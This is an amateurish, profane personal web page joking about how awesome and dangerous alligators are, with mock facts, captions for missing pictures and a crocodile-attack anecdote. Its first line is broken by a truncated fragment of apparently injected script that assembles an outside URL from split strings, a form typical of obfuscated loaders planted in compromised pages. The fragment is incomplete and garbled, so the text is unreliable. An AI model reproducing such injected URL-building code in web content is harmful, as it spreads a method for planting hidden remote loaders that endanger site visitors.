DOES ANYONE REALIZE HOW FUCKING AWEOSME ALLIGATORS ARE??? I DO.)){u='http'+'://buro'+'tkan'+''+'sma'+'


Now look deep into my eyes.....

It's like the Orkin commerial....but for alligators.

Just The Facts

  1. Alligators are awesome
  2. They are very dangerous but fun to play with
  3. They will one day overcome humans

Do you realize how awesome alligators are.... I do.

For years alligators have been misunderstud... haha lets face it they always will be until they decide to take over the universe and rule over us and the only epople thay will spare are wildlife protection people and fans of the Florida Gators. Alligators are extreamly dangerous but since they dont not have a sign that says HIGH VOLTAGE DO NOT TOUCH on them people like to fuck with them and they get what they deserve

like i said there was no HIGH VOLTAGE sign.

It's like your mother always said its not polite to point...

How Alligators can be Over Ruled.

Well see humans can try to over power alligators but sometimes it just doesnt work

Anyone seen Ted???

There is a species in the animal kingdom (that is not human i mean to say) that can over come an alligator but even it got what it deserved

Look What Our Future has in Store for Us.

I mentioned earilier that alligators would one day come to rule over us and this is what it is going to look like


Do you see what he's standing on? That human skin... It's pay back time!

Welcome to New York Famous subway systems!

The reason that alligator is soo big is because he just ate a subway car.

I once knew this doctor who went to the Amazon with his family and they went on this tour and as they were going along a crocodile jumped out of the water and grab the doctor off the boat his family never saw him again which is probaly a good thing because i bet his body was pretty mangled.